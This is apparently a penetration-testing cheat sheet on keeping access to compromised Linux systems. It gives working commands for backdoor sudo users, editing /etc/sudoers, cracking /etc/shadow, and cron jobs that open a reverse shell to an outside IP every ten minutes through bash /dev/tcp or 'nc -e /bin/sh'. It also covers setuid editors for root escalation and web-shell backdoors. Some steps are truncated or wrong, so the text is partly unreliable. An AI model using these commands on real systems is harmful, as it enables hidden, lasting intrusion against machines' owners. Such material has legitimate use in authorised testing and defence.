Persistence - Rootkit - Backdoor
So if you manage to compromise a system you need to make sure that you do not lose the shell. If you have used an exploit that messes with the machine the user might want to reboot, and if the user reboots you will lose your shell.
Or, maybe the way to compromise the machine is really complicated or noisy and you don't want to go through the hassle of doing it all again. So instead you just create a backdoor that you can enter fast and easy.
Create a new user
The most obvious, but not so subtle way is to just create a new user (if you are root, or someone with that privilege) .
adduser pelle adduser pelle sudo
Now if the machine has
ssh you will be able to ssh into the machine.
On some machines, older Linux I think, you have to do
useradd pelle passwd pelle echo "pelle ALL=(ALL) ALL" >> /etc/sudoers
Crack the password of existing user
/etc/shadow file and crack the passwords. This is of course only persistent until the user decides to change his/her password. So not so good.
Add key to existing ssh-account.
Create cronjob that connects to your machine every 10 minutes. Here is an example using a bash-reverse-shell. You also need to set up a netcat listener.
Here is how you check if cronjob is active
service crond status pgrep cron
If it is not started you can start it like this
service crond status /etc/init.d/cron start
crontab -e */10 * * * * 0<&196;exec 196<>/dev/tcp/192.168.1.102/5556; sh <&196 >&196 2>&196
/10 * * * * nc -e /bin/sh 192.168.1.21 5556
nc -lvp 5556
Sometimes you have to set the user
crontab -e */10 * * * * pelle /path/to/binary
Metasploit persistence module
Create a binary with malicious content inside. Run that, get meterpreter shell, run metasploit persistence.
If you have a meterpreter shell you can easily just run
Backdoor in webserver
You can put a cmd or shell-backdoor in a webserver.
Put backdoor on webserver, either in separate file or in hidden in another file
Admin account to CMS
Add admin account to CMS.
Hide backdoor in bootblock
If the machine has nmap installed:
Setuid on text-editor
You can setuid on an editor. So if you can easily enter as a www-data, you can easily escalate to root through the editor.
vi it is extremely easy. You just run
:shell, and it gives you a shell.
# Make root the owner of the file chown root myBinary # set the sticky bit/suid chmod u+s myBinary
This is a creat introduction http://www.dankalia.com/tutor/01005/0100501002.htm